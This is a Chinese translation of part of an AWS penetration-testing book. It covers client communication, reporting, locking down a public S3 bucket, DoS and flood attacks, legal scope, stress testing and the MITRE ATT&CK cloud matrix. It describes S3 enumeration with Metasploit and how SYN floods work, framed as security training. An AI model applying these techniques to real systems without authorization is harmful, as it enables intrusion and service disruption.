每次开始和结束渗透测试时发送电子邮件,让客户知道你何时开始,并让他们真正感受到“渗透测试人员正在进行测试,所以如果看到警报弹出,我们不要过度反应”。这也让客户感到他们得到了他们付费的东西-不是说他们没有-这给了他们对于选择你进行渗透测试的决定的信誉感。此外,你可以利用每天开始的电子邮件来提出你可能需要回答的渗透测试当天的任何问题,或者为你遇到的障碍寻求答案。障碍可能是无法访问资源,或者被锁定在范围内的某些东西。

发送结束邮件同样非常重要。发送结束邮件让客户知道你已经完成了,通常也是他们有问题时可以向你提问的时间。此外,发送结束邮件让客户能够与他们自己的团队交流,看看他们是否发现了任何异常情况,并让他们了解他们的员工是否发现了任何问题。最后一点-发送结束邮件为你提供了一点保险。通过发送结束邮件,你通知他们,在渗透测试结束后发现的任何异常网络活动都不是你或你的团队所为。

利用会议

会议可能会变得沉闷和有些多余,因此重要的是不要浪费客户的时间,不要在渗透测试范围之外进行不必要的沟通,或者每天在会议中说同样的事情。此外,过多的长时间会议会浪费宝贵的渗透测试时间。那么,在客户会议中产生影响又不浪费时间的最佳方式是什么呢?通过安排每周第一天和最后一天的短会议。

每周的第一天会议应该用来陈述任何评论、担忧、关注或问题,不应超过 30 分钟。如果会议持续时间超过 30 分钟,通常意味着在渗透测试开始之前就缺少了信息。当然,也有例外情况,比如因为泄露了敏感信息或者你的渗透测试团队意外地导致了某些问题而不得不停止渗透测试。

每周结束时进行快速回顾会议,让你和你的团队提出可能没有在每日开始和结束的电子邮件中得到答案的问题,同时也让客户向你提出他们可能有的任何问题。这也是结束一周的好方法,在周末休息之前进行更加个人化、友好的交谈。记住,作为渗透测试人员,你的工作是友好而不是傲慢,所以确保客户从你和你的团队那里得到一贯友好和欢迎的态度是成功的关键之一。

简短简单地回答问题

在 IT 中最大的问题之一是技术讨论往往对许多参与其中的人来说太过技术化。使用过多的技术术语会使对话变得混乱,并经常让客户感到困惑。这就是为什么重要的是使用简单而简短的讨论来回答技术问题,而不带有技术上的混乱。让我们快速看一个攻击 S3 存储桶的问题如何被回答得太过技术化,然后展示如何以简单的方式回答。

这个答案太过技术化

在渗透测试期间,我们发现了 S3 存储桶托管 PII 数据,通过绕过允许渗透测试人员直接访问 S3 存储桶的弱策略。渗透测试人员能够通过 S3 存储桶的完整 URL 查询和外泄数据。

正如你所看到的,这个例子使用了一些非常技术化的术语,非 IT 员工可能无法完全理解。如果有人不理解你使用的术语,他们要么会提问,这可能会花费更多时间,从而削弱渗透测试的时间。另一方面,困惑的人可能甚至不会提问,然后离开时感到不确定。这就是为什么使用简单术语很重要。让我们回答同样的问题,但使用更简单的术语。

这个答案更加用户友好

在渗透测试期间,我们发现了 S3 资源中包含的敏感信息,可以直接与用户和客户相关联。渗透测试人员能够突破 S3 资源的策略,并将数据复制到自己的攻击机器上。

这个例子避免使用非常技术化的术语,而是使用了“资源”这样的术语,而不是“存储桶”。“存储桶”是一个与 AWS 相关的技术术语,许多用户可能不理解;然而,使用“资源”这个词有助于弥合这一差距。我们还用“打破”这个词,而不是“绕过”,因为“打破”是一个与道德黑客相关的相当常见的词,为公众所知。

我们已经看了很多不同的领域,如何准确有效地对 AWS 进行渗透测试。现在,让我们看看在渗透测试期间和之后,当我们阐明渗透测试结果和补救措施时,我们如何不误导客户和自己。

实现安全而不是模糊

本节将讨论我们如何远离模糊,实际上帮助自己、客户和业务,以及如何在对组织进行渗透测试后保持一定程度的实际安全实施。我们必须使用最佳实践,并让客户知道并理解如何改善他们的安全姿态,而不会妨碍这些客户进行日常运营。然而,这并不意味着只是放置一个真正没有作用的安全控制来打补丁。

重要提示

创可贴是一种临时修复方法,不是最好的修复方法。此外,只要对网络或系统有一些基本知识,创可贴就很容易被绕过。

模糊安全

让我们讨论一下“模糊安全”对我们和我们的渗透测试工作的真正含义,特别是在讨论我们如何在 AWS 系统中实施这种“伪安全”时。正如前面提到的,我们需要确保我们使用最佳实践来帮助我们的目标企业实现最高评级的安全姿态。

通过模糊来保护安全是一个术语,它应用了可能保护组织的技术,但往往忽视了可能导致其他问题的其他问题。通常,人们认为这是实施安全性,以便只有内部组织可以访问不安全的资源;然而,正如我们所看到的,内部并不意味着安全。大多数 AWS 渗透测试是功能测试的一部分,用于帮助公司更好地保护其系统。这种类型的测试使用合法的凭据来访问内部系统,并查看内部人员可以在环境中做什么。

现在,让我们看一个相关的练习,让我们看看 S3 存储桶以及我们如何避免通过模糊来保护安全。

避免 S3 存储桶的模糊

让我们讨论如何通过模糊来保护 AWS S3 存储桶。假设我们已经完成了客户的 S3 环境的渗透测试,并发现了一个公共 S3 存储桶,并且也没有实施访问控制。让我们看看我们发现的资源:

  1. 首先,我们发现了packtawspentesting存储桶。我们在第四章利用 S3 存储桶中发现了这个存储桶。让我们从存储桶中提取公共访问块的信息:
$ aws s3api  get-public-access-block --bucket packtawspentesting

您将看到以下输出:

图 10.1 - 公共存储桶策略块

图 10.1 - 公共存储桶策略块

所有公共功能都设置为 false,这意味着这个存储桶是开放的!

重要提示

要找到关于公共存储桶策略的更详细信息,请访问 AWS 资源,阅读来自公共存储桶的输出:docs.aws.amazon.com/cli/latest/reference/s3api/get-public-access-block.html

  1. 现在我们看到我们的存储桶是公开的,让我们继续检查我们目标存储桶的权限:
Allow set for the Effect:![Figure 10.2 – Public bucket policy     ](https://gitee.com/OpenDocCN/freelearn-sec-zh/raw/master/docs/aws-pentest/img/Figure_10.02_B15630.jpg)Figure 10.2 – Public bucket policy We see the `Allow` effect is allowed on the S3 bucket – meaning we can literally do anything we want with the bucket. We can exfiltrate, put, and delete data off the bucket. 
  1. 由于我们将要报告这个问题,我们需要找到一个简单的方法来找出谁拥有这个存储桶。在我们的情况下,我们将使用 Metasploit。通过在 Kali 终端中输入msfdb run命令来启动 Metasploit。一旦 Metasploit 启动,我们将使用auxiliary/cloud/aws/enum_s3模块。将访问 ID密钥设置为账户的 ID 和密钥,然后点击运行。如果您需要复习,请返回第九章使用 Metasploit 进行真实渗透测试等进行复习:

图 10.3 - 从 Metasploit 检索的存储桶策略

图 10.3 - 从 Metasploit 检索的存储桶策略

我们可以看到拥有这个存储桶的用户以及它所属的区域。这将使我们能够报告问题并直接将其链接到所有者,以便他们知道并修复这个问题。通过通过渗透测试报告直接向用户报告,我们可以打开一条直接的沟通线路,以防用户在尝试修复问题时遇到任何问题。这是远离安全性的模糊第一步

步骤 1涉及确保我们直接与参与的每个人保持沟通,没有人被排除在外。渗透测试是一个大型的参与活动,可以让每个人都有乐趣和学习的经验-但只有在我们涉及渗透测试范围内的人员时才能有学习的经验。传统上,受影响的用户直到渗透测试后才会被他们自己的团队通知。这意味着客户可能只允许他们认为与解决问题相关的内容。

重要提示

重要的是要注意,一些客户可能不希望你直接与他们的员工合作。如果是这种情况,请理解这是客户的要求,不应被忽视。打破客户的范围和理解意味着打破客户的信任,从而打破业务关系。

现在,让我们看看我们如何在完成渗透测试后通过最佳判断和实践帮助保护客户的 S3 资源的步骤 2。为此,我们需要登录 AWS 控制台,并通过 AWS GUI 访问我们的 S3 存储桶存储库。我们将采取这种方法,就好像我们是管理员,因为我们需要知道如何解决问题的确切细节,并向我们的目标受众说明。

让我们从前往我们的 S3 存储桶开始,这些存储桶位于s3.console.aws.amazon.com/s3/home?region=us-west-2#

一旦您到达 S3 存储桶的位置,让我们继续通过将公共存储桶变为私有存储桶。删除公共访问将确保组织外的任何人都无法访问 S3 存储桶:

  1. 首先,单击名为packtawspentesting的存储桶。

  2. 接下来,单击权限选项卡。

  3. 然后,单击编辑图 10.4 - 通过 AWS 控制台编辑存储桶策略

图 10.4 - 通过 AWS 控制台编辑存储桶策略

  1. 检查阻止所有公共访问图 10.5 - 通过 AWS 控制台阻止公共访问

图 10.5 - 通过 AWS 控制台阻止公共访问

  1. 最后,单击保存

现在,目标存储桶不应该对公众可访问,这意味着只有内部主机可以访问它。

现在我们需要继续进行步骤 3。在这最后一步中,我们将拒绝所有存储桶的访问,然后管理员将需要根据公司政策配置存储桶。因此,我们将坚持要求他们制定一个拒绝所有访问的策略,然后允许管理员根据需要知道的访问创建新规则:

重要提示

需要知道的访问涉及只允许根据其工作职能需要访问的人访问。

  1. 让我们通过转到packtawspentesting S3 存储桶开始我们的最后一步。

  2. 单击选项卡后,我们需要将Effect:Allow更改为Effect:Deny图 10.6 - 通过 AWS 控制台手动更改存储桶策略

图 10.6 - 通过 AWS 控制台手动更改存储桶策略

  1. 完成后,您需要单击保存。之后就完成了。

干得好,我们现在成功保护了我们的存储桶,并建议我们的目标更改其存储桶策略以符合其公司政策。通过确保我们实施了强大的安全层,我们采取了深度安全的方法,而不是模糊安全的方法。

使用简单的术语使您和客户相互关联是增加您的渗透测试方法的价值的许多关键之一。还要记住,关于渗透测试的并非一切都是技术性的!

现在我们知道在渗透测试之前和期间需要发生什么,让我们看看在渗透测试完成后应该发生什么。

渗透测试后

渗透测试的一个重要部分是审查渗透测试期间发生的一切,并且能够以所有人都能理解的水平进行说明。除了确保信息可读之外,还要确保采取了渗透测试后的适当步骤。

让我们继续讨论一些简单而实用的步骤,您可以期望在完成渗透测试后采取。

渗透测试后会议

完成渗透测试后,渗透测试团队将需要收集并讨论渗透测试期间发生的事情。这意味着任何问题、胜利以及可能有价值的信息都需要进行审查和记录。这样做可以让团队从错误中学习,并利用这些错误和学习经验应用于未来的渗透测试。另一方面,讨论哪些方面做得好可以让团队扩展他们更好的技术,并为未来的渗透测试实施更好的解决方案。

这次会议还应该讨论团队在测试期间收集到的内容,并讨论哪些发现可以成为报告中的建议。发现和建议告诉客户需要修复的严重问题,以帮助确保客户的系统姿态。结果将基于一个类似以下的矩阵:

图 10.7 - 渗透测试报告的风险矩阵

图 10.7 - 渗透测试报告的风险矩阵

正如你所看到的,它讨论了可能性和影响 - 这使我们能够根据对客户的影响以及这个问题被利用的可能性来调整影响。让我们花点时间,通过一个例子来看看这个。

假设渗透测试人员在生产系统上发现了一个易于利用的漏洞。对于生产系统,影响需要被放置在。这需要被放置在,因为生产系统是公司依赖的用于产生收入的东西 - 因此,系统崩溃将会导致影响客户并可能造成货币损失。此外,由于漏洞易于利用(考虑使用 Metasploit),这是非常可能的。这将使生产系统上的问题的整体评分被放置在

现在让我们继续讨论报告,以及如何将我们刚刚学到的应用到报告中!

报告

报告通常被视为渗透测试中最关键的步骤之一;毕竟,建议将被呈现给客户。在创建报告时,你和整个渗透测试团队一起通过文档,并在发送给客户之前进行多次审查和编辑是至关重要的。进行多次审查将确保语法准确,并呈现出不同的理解方式来展示发现和建议。

报告中的发现应该显示出对公司的风险和严重性。风险是指漏洞可能被利用的可能性,而严重性则警示公司漏洞被利用对组织可能造成的影响。

报告将提供建议如何帮助消除发现的问题的路线图,同时确保这些问题不会再次出现。

例如,如果在渗透测试期间发现了公共 S3 存储桶,渗透测试团队可以提出一个为期 3 个月的路线图,帮助缓解已识别的问题,并防止 AWS 环境中脆弱的公共存储桶再次出现:

图 10.8 - 救济路线图

图 10.8 - 救济路线图

正如你所看到的,这相当详细地说明了需要以及如何及时消除 S3 存储桶问题。现在,让我们讨论如何跟进我们的客户。

六个月后的跟进

在渗透测试参与后的 6 个月后跟进,可以让你检查客户是否已经纠正了你在第一次渗透测试期间发现的问题。在 6 个月的跟进测试期间,最佳实践是使用黑盒方法,因为它只允许你专注于上次渗透测试期间发现的问题,并查看它是否可能引发了新问题。

如果在 6 个月的跟进期间发现了新问题,那么这些问题需要被记录并报告,就像在初始渗透测试期间一样。如果发现了另一个问题,那么你的团队还需要根据这些发现在 6 个月后进行另一次检查。

重要提示

渗透测试合同中应明确规定,如果在 6 个月的跟进期间发现了新问题,将需要额外的渗透测试服务。

我们已经学到了如何在渗透测试之前、期间和之后对 AWS 进行渗透测试。现在,让我们开始总结并继续前进到下一章。

总结

这一章让我们看到了更多关于如何进行 AWS 渗透测试的常规和非常规方法,同时也让我们深入了解了渗透测试最关键的一点:报告。我们还学到了如何使我们的渗透测试对我们和我们的团队都高效和有效,同时也对我们的客户和他们的组织产生影响的宝贵经验。

在下一章中,我们将开始学习更多关于渗透测试中要避免的事情,以及如何保持在范围内并避免麻烦!

进一步阅读

第十一章:避免麻烦

对 AWS 系统进行渗透测试可能会对系统造成严重干扰,如果执行不正确还可能导致法律问题。在对 AWS 进行渗透测试时,了解您作为渗透测试人员可以执行和不能执行的操作至关重要。这些类型的攻击会在渗透测试期间使系统崩溃,破坏您的声誉,同时还可能破坏客户系统,并给渗透测试公司和目标客户带来重大收入损失。

本章将讨论拒绝服务(DoS)和洪水攻击以及它们的工作原理。了解这些攻击的工作原理说明了攻击的严重性,以及为什么我们应该远离它们。

我们将通过讨论压力测试来结束本章,有时也称为负载测试,并对压力测试是什么以及客户是否应该担心有一个高层次的了解。

在本章中,我们将涵盖以下主题:

  • 禁止的活动

  • 通过 DoS 耗尽服务

  • 了解洪水

  • 避免法律问题

  • 压力测试

禁止的活动

在进行渗透测试时,了解哪些活动是允许的,哪些是不允许的是至关重要的。正如我们在整本书中所述,这就是我们所说的“范围内”和“范围外”。当我们提到范围内的系统时,我们讨论的是我们可以在什么时间测试以及我们对这些范围内主机产生多大影响。然而,了解范围外的内容同样重要。了解范围外的内容可以确保您只测试客户要求的内容,并且可以避免您和您的团队逃避任何类型的法律罚款或惩罚。

接下来的部分将讨论 AWS 在其基础设施和服务方面禁止的活动。请记住,共享安全模型的一部分依赖于 AWS 及其硬件的正常运行 - 因此 AWS 对其产品的测试方式有发言权。

让我们继续讨论在 AWS 上禁止的攻击 - DoS 和洪水。

通过 DoS 耗尽服务

DoS 和分布式拒绝服务(DDoS)是破坏性攻击,目标包括各种系统,如网站和应用程序,有时还可能针对用户。DoS 攻击会产生大量流量,旨在压倒目标并使其无用或使其下线。DDoS 攻击执行相同的攻击,只是它是从多个受损或受控主机 - 称为僵尸网络 - 进行攻击。

重要说明

大量受控或受损的主机通常被称为僵尸网络。AWS 有一篇关于僵尸网络的较旧但有趣的文章,位于这里:aws.amazon.com/security/security-bulletins/zeus-botnet-controller/

DoS 和 DDoS 攻击将攻击开放系统互联(OSI)模型的多个图层;然而,我们经常看到的攻击更多发生在图层 3、图层 4、图层 6 和图层 7。以下截图来自 AWS 的网站,显示了各种图层:

图 11.1 - AWS 的图层

图 11.1 - AWS 的图层

图层 3、4、6 和 7 说明了破坏性攻击最突出的图层,并可以分为两个不同的图层。将这些图层分组可以简化缓解过程,因为它允许我们将缓解技术应用于一个组中的多个图层。我们将图层分为以下组:

  • 基础架构层(图层 3 和 4)

  • 应用层(图层 6 和 7)

在考虑我们的分组时,让我们讨论它们以及它们在 AWS 方面的目标服务。

基础架构层攻击

基础架构层攻击侧重于攻击网络层(3)和传输层(4)。在 AWS 中,我们看到的一些更常见的攻击涉及 SYN 洪水和 UDP 洪水——我们将在本章的了解洪水部分进一步讨论——旨在使该层的服务崩溃。这包括通过 TCP、UDP 和 IP 建立的任何连接的中断,例如在 AWS 环境中与其他节点建立连接。

现在,让我们讨论下一层,即应用层,并考虑它对 AWS 的影响。

应用层攻击

应用层发生的攻击通常较少见;然而,它们也存在自己的问题。虽然这些类型的 DoS 攻击可以产生大量流量值以使服务崩溃,但它们也可能是简单的改变文件、策略或其他类型的数据的完整性,从而允许访问和授权资源。我们在本书中已经看到了一些攻击情况和方法,这些情况说明通过改变 S3 策略或更改 EC2 实例上的 SSH 密钥来拒绝服务。

应用层攻击主要针对 AWS 的 SSH 和 HTTP。这意味着如果 API 和 EC2 实例的访问没有得到正确的保护,它们可能会受到攻击。我们将在本章的减轻洪水攻击和 DoS部分进一步讨论保护和减轻措施。

现在我们了解了各层,让我们继续讨论洪水以及在渗透测试期间的含义。

了解洪水

洪水是一种简单但有效的策略,恶意和好奇的用户通过向目标主机发送大量数据包来希望淹没主机。洪水的另一个部分使其简单是它使用网络中的最短路径到达目标,或者在我们的情况下,到达我们的VPC和云环境。这意味着当洪水攻击发生时,它可能会影响除目标之外的其他主机,因为洪水会喷射到其他节点以找到最短路径。

此外,洪水是 DoS 攻击中常见的技术。DoS 攻击的任务是压倒和淹没网络、系统或环境,使可用性受到干扰,服务被关闭。

现在,让我们提到一些洪水技术,以及一些 DoS 攻击的风格。

UDP 洪水

端口洪水涉及攻击系统的端口并用用户数据协议UDP)数据包溢出它们。由于 UDP 数据包是无连接的,它们可以以不需要目标主机建立任何已建立连接的洪水发送。当目标收到大量 UDP 数据包时,它可能会变得不堪重负并下线。如果目标主机下线,将向我们发送一条表明目的地不可达的消息。

讨论 SYN 洪水和 TCP 握手

SYN 洪水,或 TCP SYN 洪水,是一种利用三向 TCP 握手的 DoS 攻击,通过发送大量 SYN 请求而不接受目标发送的 ACK 请求来进行攻击。基本上,这样做会让目标等待来自攻击者的响应,同时处理来自攻击者机器的大量 SYN 请求。

为了更好地理解 SYN 洪水,我们需要了解 TCP 握手及其工作原理。以下步骤突出了 TCP 握手在两个节点之间启动的三个步骤——在我们的情况下,这可能是目标和攻击者之间的连接:

  1. 攻击者机器向目标发送一个 SYN 消息以请求与目标建立连接。

  2. 目标向攻击者机器发送一个 SYN-ACK 请求并确认该请求。

  3. 攻击者机器响应 ACK 消息,并启动连接。

以下图表说明了我们刚才提到的步骤,并帮助直观地理解 TCP 三次握手:

图 11.2 - TCP 三次握手

图 11.2 - TCP 三次握手

现在我们了解了握手的工作原理,让我们讨论一下如何利用这个握手来攻击我们的目标。以下步骤将突出显示 SYN 洪水是如何执行的:

  1. 攻击发起 SYN 洪水。攻击者发送多个 SYN 请求,这些请求发送到目标服务器。

  2. 目标接收并响应来自攻击机器的过载请求,而没有收到 ACK 响应。在试图从攻击者机器接收 ACK 时,目标仍将受到来自攻击者机器的 SYN 请求的过载。

  3. 服务中断,使目标无法处理合法请求。

下图说明了我们在洪水方法论中提到的三个步骤:

图 11.3 - 滥用三次握手的 DoS

图 11.3 - 滥用三次握手的 DoS

正如我们所看到的,如果不正确减轻洪水攻击,洪水攻击可能会带来危险。服务中断意味着收入损失、声誉损失和员工信任的潜在损失。我们将在稍后更详细地探讨这些原因;然而,请记住,尽管洪水是一种危险的攻击,但在 AWS 中有一个很好的解决方案。

现在我们从高层次理解了 DoS、DDoS 和洪水攻击,让我们提到如何防止这些攻击发生。这是我们向客户推荐的如何保护其系统免受破坏性攻击的建议。

减轻洪水攻击和 DoS

对洪水的最基本理解以及如何减轻其影响是,大多数操作系统(如 Windows)会限制 ICMP 响应并过滤掉请求的过载。您也可以使用更传统的方法,使用防火墙解决方案来帮助减轻这些攻击。AWS 提供了一项名为AWS 防火墙的服务,它充当Web 应用程序防火墙WAF),可用于过滤您的 AWS 环境和 API 的流量,并防止针对您的 Web 应用程序的常见利用。

还有另一项名为AWS Shield的服务,它有助于防止针对在 AWS 中运行的任何应用程序的 DoS 和 DDoS 攻击。这两层服务提供了实时检测和减轻,以防止发送到应用程序的过载流量实际上造成任何损害 - 这很棒,因为 AWS Shield 基本上承担了所有繁重的工作,而不需要您额外的 AWS 支持。

那么,AWS Shield 究竟是如何工作的,为什么应该推荐它来防止任何类型的 DoS 攻击呢?

简而言之,AWS Shield 创建并提供基于启发式的实时监控和内联减轻。这意味着 AWS Shield 使用先进的监控技术,在环境中创建基于通常流量的基线,并将报告任何偏离该流量的情况。此外,它还将对常见和更频繁的攻击进行实时减轻,例如 DoS 和洪水攻击。它还将提供更具体的检测和高级的减轻技术,有助于阻碍更高级的攻击方式,例如 DDoS 攻击。

您可以在这里了解更多关于 AWS Shield 以及它如何帮助您制定减轻策略:aws.amazon.com/shield/

另一种减轻任何破坏性攻击的方法是减少 AWS 环境的攻击面。这意味着确保 EC2 实例不公开可用,除非基于业务原因需要。应用程序对互联网的暴露越少,它们被发现和攻击的可能性就越小。我们还可以通过放置负载均衡器在环境中来帮助承担环境将承受的负载。以下图表显示了负载均衡器如何在四个不同节点之间分配负载,并根据它们在那个时候能够处理的流量类型来分配负载:

图 11.4 - AWS 内的负载均衡

图 11.4 - AWS 内的负载均衡

如您所见,负载均衡器不是每个节点独立处理流量,而是根据每个节点能够处理的流量量来分发流量。

最后要提到的一点,但也非常重要的是,您必须有受过培训的 AWS 工程师,能够在环境中安全有效地实施安全控制。您的工程师实施这些控制的最佳方式是了解并知道环境中的正常流量和异常流量。这就是为什么文化在安全中如此重要,不仅在 AWS 中,也在企业本身。

虽然文化是一个巨大的影响,但同样重要的是要知道内部人员可能会对组织产生影响,以及他们的恶意黑客心态如何在组织内部引发问题。接下来的部分将讨论黑客心态与 DoS 和 DDoS 攻击的关系。

DoS 和 DDoS 的攻击者心态

攻击者执行破坏性攻击的原因有很多。在这种情况下,威胁行为将是 DoS 或 DDoS 攻击,旨在直接制造破坏公司声誉的麻烦,或者很多时候用于制造政治状态,如果政治关联方拥有 AWS 系统。

我们在第三章中提到,探索渗透测试和 AWS,一些不同类型的攻击者,如内部人员和外部人员。这些相同的攻击者心态可以应用于执行 DoS 和洪水攻击的原因。

现在我们更多地了解了我们需要远离的攻击,让我们结束本章,并讨论一些您可能会面临的法律问题,如果超出了渗透测试的范围。

避免法律问题

正如我们在本书中所看到的,渗透测试可能会非常侵入性,有时甚至可能非常危险,如果您的团队不完全了解渗透测试的范围,可能会导致罚款,甚至可能会被认为违反《计算机欺诈和滥用法》(CFAA)而采取行动。根据渗透测试团队测试的对象和内容,您还可能违反其他法律,如联邦和州法律;然而,这将取决于每次渗透测试。

说了这些,让我们快速看一下如何在法律和客户方面避免麻烦。

免于监狱的牌

这是确保在渗透测试期间避免任何法律冲突的最重要的基本因素之一。免于监狱的牌本质上是一张纸,说明渗透测试团队被授权对目标组织进行渗透测试 - 但是,它还应该注明渗透测试团队被允许进行渗透测试的“什么”,“在哪里”,和“何时”。这非常重要,因为由于高价值流量时间,渗透测试人员可能无法在某些时间进行渗透测试;他们也可能未经授权进行网络或托管在 AWS 环境中的 Web 应用程序的某些渗透测试区域。

在目标组织向渗透测试团队提供免责卡之前,需要明确了解范围。如果需要添加或删除渗透测试范围内的内容,那么应该进行更正,并列在免责卡上。

潜在损害

这是我们许多人不喜欢讨论的话题,或者至少在讨论时感到非常不安:系统可能在渗透测试期间被损坏或关闭的可能性。当要求对生产或实时系统进行渗透测试时,如果系统崩溃将导致巨大的收入损失,这尤其具有挑战性。渗透测试团队和客户组织必须制定一项紧急响应计划,以防不幸发生故障。此外,应该有一种解决方案,可以启动一个模仿生产环境的测试系统。

在对 AWS 进行渗透测试时,我们可以建议我们的客户创建一个模仿生产环境的单独的私人 VPC,并且只允许渗透测试团队访问。这样做可以让渗透测试团队实时测试系统,而不会对实时系统造成任何伤害。

了解数据分类

我们想知道在渗透测试期间存储在环境中的数据类型。如果有信用卡数据、社会安全号码和其他敏感数据,那么需要有一份说明,说明在渗透测试期间可能会看到数据。当然,如果发现明文存储的敏感数据应该加密,渗透测试团队需要立即通知他们的客户。

在本章中,我们已经学到了很多关于有影响力的攻击,也了解了一些法律问题。现在,让我们讨论另一个问题,我们需要了解并注意 - 压力测试。

压力测试

围绕着亚马逊客户计划使用某种类型的高容量测试来测试其系统、网络和产品的可靠性和耐久性建立了政策。在这种情况下,客户通常希望确保托管在 EC2 实例上的 Web 服务器能够承受大量的流量。压力测试,有时也称为负载测试或游戏测试,还可以确保如果流量对 Web 服务器造成了太大的压力,流量将被负载均衡器重定向。有关负载均衡的高级视图,请参阅图 11.4

为什么要进行压力测试?

如前所述,我们进行压力测试是为了确保目标环境能够承受在系统生产期间可能预期的大量流量。

重要说明

生产服务器通常可以在网络上访问,并确保来自合法和非法来源的大量流量。

负载测试,或者压力测试,本质上是一种保证政策,让您放心了解您的 AWS 环境的可用性 - 确保您的网站或应用程序不会崩溃!如果某些东西,特别是在生产中,出现故障,可能会导致收入损失,公司与客户之间的信任丧失,或者员工与公司之间的信任关系丧失。

现在我们了解了压力测试的影响 - 在某种意义上,我们也了解了如果不进行压力测试会有什么影响 - 让我们讨论如何在 AWS 环境中进行压力测试。

授权压力测试

要获得在 AWS 环境中执行压力测试的授权,您需要向 AWS 提交一个接收表格。虽然大多数客户网络不在指导方针范围内,但检查是必不可少的 - 毕竟,不进行环境压力测试可能会导致更大的问题!

虽然 AWS 在提供资源方面做得很好,以防止与高流量相关的任何问题,但客户可以向 AWS 员工发送电子邮件,以确定他们的网络是否应该接受负载测试,以及应该对测试施加多少负载。

如果有疑虑,客户应该将查询发送至aws-security-simulated-event@amazon.com。一旦确认收到电子邮件,客户对其网络的担忧将需要在一个接收表格上填写,并且他们必须授权 AWS 评估他们的环境,以分析是否需要进行压力测试。

压力测试的同意将基于风险和相关系统的影响。建议客户说明潜在的高流量可能对实时系统产生的影响。如果授权进行压力测试,建议备用站点准备就绪,以防生产系统未能通过负载测试。生产系统未能通过负载测试将导致系统下线,客户无法访问。

另一个保持一致备份的好方法是在内部网络上拥有生产系统的开发模型或测试模型。这个复制的实时系统可以用来测试新功能,并且可以在外部和内部渗透测试期间作为目标,而不是针对生产站点。如果生产站点的测试系统不可用,强烈建议拥有一个!

现在我们更了解压力测试以及如何使用它来评估我们自己的系统,让我们开始总结本章并继续前进到下一章。

总结

在本章中,我们讨论了在渗透测试期间要注意的事项,并了解了 DoS、DDoS 和洪水攻击的更多细节。正如我们所了解的,这些攻击可能会产生极大影响,并违反 AWS 政策。我们还了解了如何避免法律问题以及如何减轻渗透测试期间可能出现的任何潜在法律问题。我们通过讨论压力测试以及 AWS 客户可以做些什么来了解他们的环境是否应该接受负载平衡测试来结束了本章。

在下一章,也是最后一章中,我们将探讨一些其他项目,可以帮助加强我们的 AWS 方法论。

进一步阅读

第十二章:AWS 的其他项目

为了结束这本书,我想简要提及另外两个不同的项目,这些项目值得注意并深入研究。在整本书中,我们已经从高层次和低层次(实际操作部分)来创建了对渗透测试的一致理解以及它对 AWS 的意义。本章将讨论一个开源框架,该框架由红队人员、渗透测试人员和道德黑客使用,使企业能够测试其组织上的真实对手战术和方法,以最终通过发现弱点来改进控制和防御。最后,我们将以一个有趣的练习结束,这个练习源自我在 2019 年提出的一个钓鱼项目,我们将学习如何利用 EC2 快速设置并产生影响的钓鱼练习,您可以在经授权的组织中使用。

在本章中,我们将涵盖以下主题:

  • 理解 MITRE ATT&CK 框架

  • 使用 AWS 进行钓鱼

技术要求

本章的技术要求如下:

理解 MITRE ATT&CK 框架

根据范围的不同,渗透测试可能会变成一个庞大而繁琐的工作,可能会严重影响渗透测试的质量。在渗透测试时,我们希望能够提供创造性和现实的场景,以便与我们的客户和客户网络和系统进行互动。在渗透测试期间,我们称我们的行动和方法为TTPs - 其含义如下:

  • 战术

  • 技术

  • 程序

这三个词构成了我们进行渗透测试的很大一部分;然而,如果我们不真正理解它们的含义,那么我们就无法利用它们。为了更好地理解它们,我们可以将它们应用到一个名为 MITRE ATT&CK 框架的开放知识库中,并通过将它们应用到现实场景中来讨论这些术语。

MITRE ATT&CK 框架使我们能够开发自己的方法和行动,以 TTPs 的形式实现对客户的质量承诺。该框架是一个庞大的知识库,充满了真实的对手战术,我们可以利用它来创建威胁模型和现实的渗透测试路线图。

MITRE ATT&CK 框架的另一个重要好处是,它让您模仿现实威胁场景,我们将在发现 MITRE ATT&CK Navigator部分中更详细地了解。在我们开始使用 MITRE 创建攻击路径之前,我们需要了解如何将其用于 AWS 渗透测试。接下来的部分将讨论 AWS 矩阵,该矩阵通过 MITRE ATT&CK 框架展示了战术和技术。

了解 AWS 矩阵中的 TTPs

MITRE ATT&CK 框架中的 AWS 矩阵使我们能够通过查看真实技术并将其应用于我们的渗透测试方法来推动我们的限制和攻击路径。由于渗透测试的方式有很多种,而且有很多不同的场景,AWS 矩阵使我们能够通过提供源自真实攻击的真实场景来少思考多行动。

要查看矩阵,请访问attack.mitre.org/matrices/enterprise/cloud/aws/

让我们来看看矩阵及其在设置攻击方面的真正含义。以下截图显示了 AWS 矩阵的菜单:

图 12.1 - MITRE ATT&CK

图 12.1 - MITRE ATT&CK

这看起来像是一个非常复杂的 Excel 表格,但实际上并没有看起来那么复杂。它真正做的是分解我们在渗透测试过程中使用的攻击步骤 - 唯一的区别是这是使用真实世界的方法,而不是理论方法,所以让我们分解一下这些主题,以便我们可以简明地理解在对 AWS 进行渗透测试时它们的含义:

  • 初始访问详细说明了我们可以获得允许访问面向用户的服务(如 S3、EC2、Lambda 等)的凭据的各种方式。这些凭据可以通过攻击路径以不同方式访问;然而,更常见的方式是通过暴露的 GitHub 和 GitLab。如果你访问以下链接,它显示了一个真正的高级持续威胁APT)是如何通过使用受损的 Office 365 帐户收集凭据的:attack.mitre.org/techniques/T1078/004/

以下是描述的屏幕截图:

图 12.2 - APT33

图 12.2 - APT33

请注意,它引用了一个真实的威胁行为者。这意味着我们可以使用这个属性来创建一个攻击客户的“真实”路径,以验证他们是否容易受到这种类型的攻击。

  • 持久性包括维持对系统的访问。我们在第九章中做过这个,使用 Metasploit 和更多进行现实生活的渗透测试,当处理不同的 Metasploit 场景时。通常,我们可以创建帐户或使用我们拥有的有效帐户来保持持久性。提升权限的方式与此类似,涉及发现具有更高权限的有效 AWS 帐户,或者在受损帐户上执行垂直权限提升。

  • 防御规避有各种技术可以执行,以帮助绕过防御,如 AWS 环境中的防火墙和其他检测服务。如果我们看一下云计算基础设施技术之一,我们会看到一个创建云实例的子技术。这是一个有趣的概念,因为在渗透测试期间,我们创建一个成为环境一部分并且可以在渗透测试期间用作流氓服务器的新实例。

  • 关于这个过程的另一个重要部分是发现阶段。在这个阶段,对手 - 在这种情况下是渗透测试团队 - 使用各种技术来通过侦察和枚举收集有关目标网络的信息。我们通过使用各种工具发现 EC2、S3、Lambda 和开放信息来进行了相当多的侦察和发现。

